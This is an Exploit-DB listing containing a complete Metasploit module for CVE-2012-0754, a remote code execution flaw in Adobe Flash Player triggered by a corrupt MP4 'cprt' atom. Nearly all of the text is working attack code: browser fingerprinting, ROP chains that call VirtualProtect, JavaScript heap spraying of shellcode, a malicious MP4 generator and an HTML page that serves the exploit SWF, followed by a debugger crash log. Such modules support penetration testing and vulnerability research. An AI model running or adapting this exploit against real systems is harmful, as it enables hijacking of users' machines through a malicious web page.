标题: Adobe Flash Player - '.mp4 cprt' Remote Overflow (Metasploit) EDB-ID: 18572 CVE: 2012-0754 类型: REMOTE 平台: WINDOWS 发布日期: 2012-03-08 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Adobe Flash Player MP4 'cprt' Overflow",
   'Description'    => %q{
    This module exploits a vulnerability found in Adobe Flash Player.
    By supplying a corrupt .mp4 file loaded by Flash, it is possible to gain arbitrary
    remote code execution under the context of the user.

    This vulnerability has been exploited in the wild as part of the 
    "Iran's Oil and Nuclear Situation.doc" e-mail attack.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Alexander Gavrun', # Vulnerability discovery
     'sinn3r',           # Metasploit module
     'juan vazquez'      # Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2012-0754' ],
     [ 'OSVDB', '79300'],
     [ 'BID', '52034' ],
     [ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ],
     [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-03.html' ]
    ],
   'Payload'        =>
    {
     'StackAdjustment' => -3500
    },
   'DefaultOptions'  =>
    {
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Flash Player 11.1.102.55
     # Flash Player 10.3.183.10
     [ 'Automatic', {} ],
     [ 'IE 6 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
     [ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
     [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
     [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre,    'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
     [ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x600', 'Ret' => 0x0c0c0c0c } ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Feb 15 2012",
   'DefaultTarget'  => 0))
 end

 def junk(n=4)
  return rand_text_alpha(n).unpack("V").first
 end

 def nop
  return make_nops(4).unpack("V").first
 end

 def get_payload(t)

  if t['Rop'].nil?
   code = ""
  else
   code = "\xbc\x0c\x0c\x0c\x0c"  #Fix the stack to avoid a busted encoder
  end
  code << payload.encoded

  # No rop. Just return the payload.
  return code if t['Rop'].nil?

  # Both ROP chains generated by mona.py - See corelan.be
  case t['Rop']
  when :msvcrt
   rop =
   [
    0x77c4e392,  # POP EAX # RETN
    0x77c11120,  # <- *&VirtualProtect()
    0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
    junk,
    0x77c2dd6c,
    0x77c4ec00,  # POP EBP # RETN
    0x77c35459,  # ptr to 'push esp #  ret'
    0x77c47705,  # POP EBX # RETN
    0x00000800,  # <- change size to mark as executable if needed (-> ebx)
    0x77c3ea01,  # POP ECX # RETN
    0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
    0x77c46100,  # POP EDI # RETN 
    0x77c46101,  # ROP NOP (-> edi)
    0x77c4d680,  # POP EDX # RETN
    0x00000040,  # newProtect (0x40) (-> edx)
    0x77c4e392,  # POP EAX # RETN
    nop,  # NOPS (-> eax)
    0x77c12df9,  # PUSHAD # RETN
   ].pack("V*")

  when :jre
   rop =
   [
    0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
    0xfffffdff,  # Value to negate, will become 0x00000201 (dwSize)
    0x7c347f98,  # RETN (ROP NOP)
    0x7c3415a2,  # JMP [EAX]
    0xffffffff,
    0x7c376402,  # skip 4 bytes
    0x7c351e05,  # NEG EAX # RETN
    0x7c345255,  # INC EBX # FPATAN # RETN
    0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
    0x7c344f87,  # POP EDX # RETN
    0xffffffc0,  # Value to negate, will become 0x00000040
    0x7c351eb1,  # NEG EDX # RETN
    0x7c34d201,  # POP ECX # RETN
    0x7c38b001,  # &Writable location
    0x7c347f97,  # POP EAX # RETN
    0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
    0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
    0x7c345c30,  # ptr to 'push esp #  ret '
   ].pack("V*")
  end

  pivot  = [0x77C1CAFB].pack('V*')  #POP/POP/RET
  pivot << [junk].pack('V*')
  pivot << [t.ret].pack('V*')

  code = pivot + rop + code
  return code
 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
   return targets[1]  #IE 6 on Windows XP SP3
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
   return targets[2]  #IE 7 on Windows XP SP3
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
   return targets[3]  #IE 8 on Windows XP SP3
  elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
   return targets[5]  #IE 7 on Windows Vista
  else
   return nil
  end
 end

 def on_request_uri(cli, request)

  agent = request.headers['User-Agent']
  my_target = get_target(agent)

  # Avoid the attack if the victim doesn't have the same setup we're targeting
  if my_target.nil?
   print_error("#{cli.peerhost}:#{cli.peerport} Browser not supported, will not launch attack: #{agent.to_s}")
   send_not_found(cli)
   return
  end

  print_status("#{cli.peerhost}:#{cli.peerport} Client requesting: #{request.uri}")

  # The SWF requests our MP4 trigger
  if request.uri =~ /\.mp4$/
   print_status("#{cli.peerhost}:#{cli.peerport} Sending MP4...")
   mp4 = create_mp4(my_target)
   send_response(cli, mp4, {'Content-Type'=>'video/mp4'})
   return
  end

  if request.uri =~ /\.swf$/
   print_status("#{cli.peerhost}:#{cli.peerport} Sending Exploit SWF...")
   send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
   return
  end

  p = get_payload(my_target)

  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

  js_pivot = <<-JS
  var heap_obj = new heapLib.ie(0x20000);
  var code = unescape("#{js_code}");
  var nops = unescape("#{js_nops}");

  while (nops.length < 0x80000) nops += nops;
  var offset = nops.substring(0, #{my_target['Offset']});
  var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

  while (shellcode.length < 0x40000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x80000-6)/2);

  heap_obj.gc();
  heap_obj.debug(true);
  for (var i=1; i < 0x1C2; i++) {
   heap_obj.alloc(block);
  }
  heap_obj.debug(true);
  JS

  js_pivot = heaplib(js_pivot, {:noobfu => true})

  swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
  swf_uri << "/Exploit.swf"
  print_status("#{cli.peerhost}:#{cli.peerport} #{swf_uri}")

  html = %Q|
<html>
<head>
<script>
#{js_pivot}
</script>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="test" width="1" height="1"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{swf_uri}" />
<embed src="#{swf_uri}" quality="high"
width="1" height="1" name="test" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>

</object>
</center>

</body>
</html>
  |

  html = html.gsub(/^\t\t/, '')

  #
  # "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
  #
  proc = Proc.new do |cli, req|
   on_request_uri(cli, req)
  end

  add_resource({'Path'=>'/test.mp4', 'Proc'=>proc}) rescue nil
  print_status("#{cli.peerhost}:#{cli.peerport} Sending html...")
  send_response(cli, html, {'Content-Type'=>'text/html'})
 end

 def cleanup
  remove_resource('/test.mp4') rescue nil
  super
 end

 def exploit
  @swf = create_swf
  super
 end

 def create_swf
  path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" )
  fd = ::File.open( path, "rb" )
  swf = fd.read(fd.stat.size)
  fd.close

  return swf
 end

 def create_mp4(target)
  mp4 = ""
  mp4 << "\x00\x00\x00\x18"
  mp4 << "ftypmp42"
  mp4 << "\x00\x00\x00\x00"
  mp4 << "mp42isom"
  mp4 << "\x00\x00\x00\x0D"
  mp4 << "cprt"
  mp4 << "\x00\xFF\xFF\xFF"
  mp4 << "\x00\x00\x00\x00"
  mp4 << "\x0c\x0c\x0c\x0c" * 2586

  return mp4
 end

end

=begin
C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx
C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx

(510.9b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000
eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx - 
Flash10x+0x48b65:
10048b65 ff5008          call    dword ptr [eax+8]    ds:0023:0c0c0c14=????????
=end URL: https://www.exploit-db.com/exploits/18572